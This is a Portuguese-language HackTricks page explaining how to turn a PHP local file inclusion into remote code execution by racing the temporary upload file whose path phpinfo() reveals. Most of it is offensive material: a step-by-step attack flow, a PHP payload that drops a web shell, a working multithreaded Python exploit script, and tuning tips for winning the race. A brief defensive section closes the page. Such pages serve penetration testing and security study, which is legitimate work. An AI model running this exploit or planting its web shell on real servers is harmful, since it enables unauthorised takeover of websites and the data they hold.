LFI to RCE via PHPInfo
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Para explorar esta técnica você precisa de tudo o seguinte:
- Uma página acessível que imprime a saída do phpinfo().
- Uma Local File Inclusion (LFI) primitiva que você controla (por exemplo, include/require em entrada do usuário).
- PHP file uploads habilitados (file_uploads = On). Qualquer script PHP aceitará uploads multipart RFC1867 e criará um arquivo temporário para cada parte enviada.
- O worker PHP deve ser capaz de escrever em upload_tmp_dir configurado (ou no diretório temporário padrão do sistema) e seu LFI deve ser capaz de incluir esse caminho.
Artigo clássico e PoC original:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Nome do script PoC original: phpinfolfi.py (veja o whitepaper e mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Notas sobre o PoC original
- A saída do phpinfo() é codificada em HTML, então a seta “=>” frequentemente aparece como “=>”. Se você reutilizar scripts legados, garanta que eles procurem ambas as codificações ao parsear o valor _FILES[tmp_name].
- Você deve adaptar o payload (seu código PHP), REQ1 (a requisição ao endpoint phpinfo() incluindo padding) e LFIREQ (a requisição ao seu sink LFI). Alguns alvos não precisam de um terminador null-byte (%00) e versões modernas do PHP podem não respeitá-lo. Ajuste o LFIREQ de acordo com o sink vulnerável.
Exemplo sed (somente se você realmente usar o antigo PoC em Python2) para casar a seta codificada em HTML:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Teoria
- Quando o PHP recebe um multipart/form-data POST com um campo de arquivo, ele grava o conteúdo em um arquivo temporário (upload_tmp_dir ou o padrão do SO) e expõe o caminho em $_FILES[‘
’][‘tmp_name’]. O arquivo é removido automaticamente ao final da requisição, a menos que seja movido/renomeado. - O truque é descobrir o nome temporário e incluí-lo via seu LFI antes do PHP apagá-lo. phpinfo() imprime $_FILES, incluindo tmp_name.
- Inflando cabeçalhos/parâmetros da requisição (padding) você pode fazer com que blocos iniciais da saída de phpinfo() sejam enviados (flushed) ao cliente antes da requisição terminar, permitindo que você leia tmp_name enquanto o arquivo temporário ainda existe e então imediatamente acione o LFI com esse caminho.
No Windows os arquivos temporários estão comumente em algo como C:\Windows\Temp\php*.tmp. No Linux/Unix eles geralmente ficam em /tmp ou no diretório configurado em upload_tmp_dir.
O que verificar em phpinfo() antes de tentar a condição de corrida
Antes de enviar milhares de requisições, extraia os valores que decidem se a corrida é realista:
file_uploads: deve estarOn.upload_tmp_dir: se definido, este é o diretório que seu LFI deve conseguir incluir. Se vazio, espere o diretório temporário padrão do sistema.open_basedir: se habilitado, o caminho vulnerável de include ainda precisa conseguir alcançar o diretório temporário mostrado emtmp_name.output_buffering:4096é um tamanho comum/padrão e é por isso que muitos PoCs leem em blocos de 4KB, mas esse valor pode variar.zlib.output_compression,output_handler, e qualquer buffering a nível de framework: isso reduz a chance de vertmp_namecedo o suficiente.Server API: útil para decidir quanto buffering pode existir entre o PHP e você (apache2handlergeralmente é mais fácil de raciocinar do quefpm-fcgiatrás de um reverse proxy).
Se a página não mostrar $_FILES, certifique-se de que você está realmente enviando uma requisição multipart/form-data com uma parte de arquivo real. O PHP só popula tmp_name para campos de upload que foram parseados.
Fluxo de ataque (passo a passo)
- Prepare um payload PHP pequeno que persista um shell rapidamente para evitar perder a condição de corrida (escrever um arquivo é geralmente mais rápido do que esperar por um reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Envie um POST multipart grande diretamente para a página phpinfo() para que ela crie um arquivo temporário contendo seu payload. Infle vários headers/cookies/params com ~5–10KB de padding para incentivar saída precoce. Garanta que o nome do campo do formulário corresponda ao que você irá parsear em $_FILES.
-
Enquanto a resposta do phpinfo() ainda estiver sendo transmitida, parseie o corpo parcial para extrair $_FILES[‘
’][‘tmp_name’] (HTML-encoded). Assim que tiver o caminho absoluto completo (por exemplo, /tmp/php3Fz9aB), dispare seu LFI para incluir esse caminho. Se include() executar o arquivo temporário antes de ser apagado, seu payload roda e cria /tmp/.p.php. -
Use o arquivo criado: GET /vuln.php?include=/tmp/.p.php&x=id (ou onde quer que seu LFI permita incluí-lo) para executar comandos de forma confiável.
Dicas
- Use múltiplos workers concorrentes para aumentar suas chances de vencer a race.
- Colocações de padding que comumente ajudam: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Ajuste por alvo.
- Se o sink vulnerável acrescenta uma extensão (por exemplo, .php), você não precisa de um null byte; include() executará PHP independentemente da extensão do arquivo temporário.
Minimal Python 3 PoC (socket-based)
O trecho abaixo foca nas partes críticas e é mais fácil de adaptar do que o script legado em Python2. Personalize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), e PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Solução de problemas
- Você nunca vê
tmp_name: Certifique-se de realmente fazer POSTmultipart/form-dataparaphpinfo().phpinfo()imprime$_FILESapenas quando um campo de upload estava presente. tmp_nameaparece apenas no final da resposta: Isso geralmente é um problema de buffering, não de versão do PHP. Valores grandes deoutput_buffering,zlib.output_compression, handlers de saída em userland, ou buffering de reverse-proxy/FastCGI podem atrasar o corpo dophpinfo()até que a requisição de upload esteja quase concluída.- Você só obtém streaming confiável em um laboratório, não através do site real: Um CDN, WAF ou reverse proxy pode estar fazendo buffering da resposta upstream. Se tiver múltiplas rotas para a mesma app, prefira o caminho de origem mais direto.
- A lógica clássica do offset de 4096 bytes perde o leak: Trate 4096 como um ponto de partida derivado dos defaults comuns de
output_buffering, não como uma constante universal. Faça o parse incremental e pare assim quetmp_nameestiver completo. - O arquivo temporário é incluído mas sua shell morre imediatamente: Use um pequeno stager que escreve um segundo arquivo, porque o arquivo temporário enviado ainda será deletado quando a requisição original terminar.
- A saída não flusha cedo: Aumente o padding, adicione mais headers grandes, ou envie múltiplas requisições concorrentes. Alguns SAPIs/buffers não vão flushar até thresholds maiores; ajuste conforme necessário.
- Caminho LFI bloqueado por
open_basedirouchroot: Você deve apontar o LFI para um caminho permitido ou mudar para um vetor LFI2RCE diferente. - Diretório temp não é
/tmp:phpinfo()imprime o caminho absoluto completo detmp_name; use esse caminho exato no LFI.
Notas práticas para stacks modernos
- Essa técnica ainda é reproduzível em ambientes de laboratório modernos; por exemplo, Vulhub mantém um demonstrador em PHP 7.2. Na prática, o sucesso tende a depender mais de buffering de saída e proxying do que de um nível de patch específico do phpinfo.
flush()eimplicit_flushinfluenciam apenas a própria camada de saída do PHP. Eles não garantem que um gateway FastCGI, reverse proxy, browser, ou intermediário vá liberar blocos parciais imediatamente.- Se o alvo for
fpm-fcgipor trás de proxying Nginx/Apache, pense em camadas: buffer do PHP, handlers/compressão de saída do PHP, buffering do FastCGI, e então buffering do proxy. A race só funciona se parte suficiente da resposta dophpinfo()escapar dessa cadeia antes que a finalização da requisição delete o arquivo temporário.
Notas defensivas
- Nunca exponha
phpinfo()em produção. Se necessário, restrinja por IP/auth e remova após o uso. - Mantenha
file_uploadsdesabilitado se não for necessário. Caso contrário, restrinjaupload_tmp_dirpara um caminho não alcançável porinclude()na aplicação e aplique validação estrita em quaisquer caminhos deinclude/require. - Trate qualquer LFI como crítica; mesmo sem
phpinfo(), outros caminhos LFI→RCE existem.
Técnicas relacionadas HackTricks
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Referências
- LFI With PHPInfo() Assistance whitepaper (2011) – mirror do Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


